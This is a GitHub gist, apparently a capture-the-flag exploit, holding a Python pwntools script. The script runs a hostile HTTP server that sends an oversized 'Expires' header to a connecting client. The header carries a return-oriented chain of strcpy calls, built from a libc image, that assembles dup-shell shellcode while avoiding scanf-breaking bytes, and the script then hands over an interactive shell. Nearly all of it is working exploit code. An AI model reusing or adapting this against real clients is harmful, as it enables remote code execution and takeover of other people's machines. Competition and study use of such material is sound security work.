-
-
Save valisctf/3f8a73bc1da3a9cd7ccdeb224d385978 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
import time | |
context.update(arch="i386") | |
#context.update(log_level="debug") | |
def strlen_at(data, start): | |
pos = data.find("\x00", start) | |
if pos < 0: | |
return 999999 | |
return pos - start | |
def encode_shellcode(dest, assembly): | |
print "Encoding " + assembly | |
sc = asm(assembly) | |
print hexdump(sc) | |
print "Shellcode size: %d" % len(sc) | |
ret = [] | |
pos = 0 | |
while pos < len(sc): | |
addr, found_len = find_string(sc[pos:]) | |
ret.append(gen_strcpy(dest + pos, addr)) | |
pos += found_len | |
info("Element count: %d" % len(ret)) | |
return ret | |
def find_string(needle): | |
global libc | |
global libc_data | |
global blacklist | |
global libc_off | |
zero = needle.find("\x00") | |
if zero >= 0: | |
needle = needle[0:zero+1] | |
oldpos = 0 | |
while needle: | |
addr = None | |
pos = libc_data.find(needle, oldpos) | |
if pos < 0: | |
needle = needle[0:-1] | |
oldpos = 0 | |
continue | |
blacklisted = False | |
addr = pos+0x3000+libc_off | |
addr_bytes = p32(addr) | |
if addr >= (dest_sc-0x10) and addr < (dest_sc+0x100): | |
warn("Blacklisted because in our destination range") | |
blacklisted = True | |
elif strlen_at(libc_data, pos) > 0x100: | |
blacklisted = True | |
else: | |
for b in blacklist: | |
if b in addr_bytes: | |
# warn("Skipping blacklisted addr: 0x%x 0x%x for %s" % (addr, ord(b), needle)) | |
blacklisted = True | |
break | |
if not blacklisted: | |
break | |
oldpos = pos + 1 | |
if not needle: | |
error("Unable to find string") | |
info("Found string %s at 0x%x pos: 0x%x (file: 0x%x)" % (needle.encode('hex'), addr, pos, addr-libc_off)) | |
return addr, len(needle) | |
def gen_strcpy(dst, src): | |
return [ | |
strcpy, | |
pop2f, | |
dst, | |
src, | |
flags | |
] | |
libc = open("libc.so.4.7.6", "rb") | |
libc.seek(0x2000) | |
libc_data = libc.read() | |
# scanf() blacklist | |
blacklist = ["\x00", "\x09", "\x0a", "\x0b", "\x0c", "\x0d", "\x20"] | |
libc_off = 0x5fffe000 | |
ret = 0x6001185f | |
strcpy = 0x6002ff88 | |
strcat = libc_off + 0x31de0 | |
execve = libc_off + 0x14a50 | |
system = libc_off + 0x33a80 | |
ebfe = "\x1b\x74\x01\x00" | |
dest_sc = libc_off + 0x618a1 | |
dest_stage2 = libc_off + 0x61a30 | |
# pop ecx; pop edx; popf | |
pop3f = libc_off + 0x5085b | |
pop2f = libc_off + 0x5085c | |
pop1f = libc_off + 0x5085d | |
# Safe flags | |
flags = 0x01010801 | |
null = 0x60010104 | |
info("sc at 0x%x" % dest_sc) | |
shellcode = shellcraft.i386.linux.dupsh(4) | |
# ROP | |
payload = fit({292: [ | |
# ebp | |
dest_stage2, | |
# eip | |
encode_shellcode(dest_sc, shellcode), | |
dest_sc, | |
]}) | |
for c in blacklist: | |
if c in payload[0:-1]: | |
error("blacklist char: 0x%x" % ord(c)) | |
info("Payload size: %d" % len(payload)) | |
l = listen(80) | |
if len(payload) > 992: | |
error("Payload too long: %d > 992" % len(payload)) | |
while True: | |
r = l.wait_for_connection() | |
req = r.recvuntil("\r\n\r\n") | |
info(req) | |
r.send("""HTTP/1.1 200 OK\r\nExpires: 26 %s 2020 06:39:55 GMT\r\n""" % payload) | |
r.interactive() | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment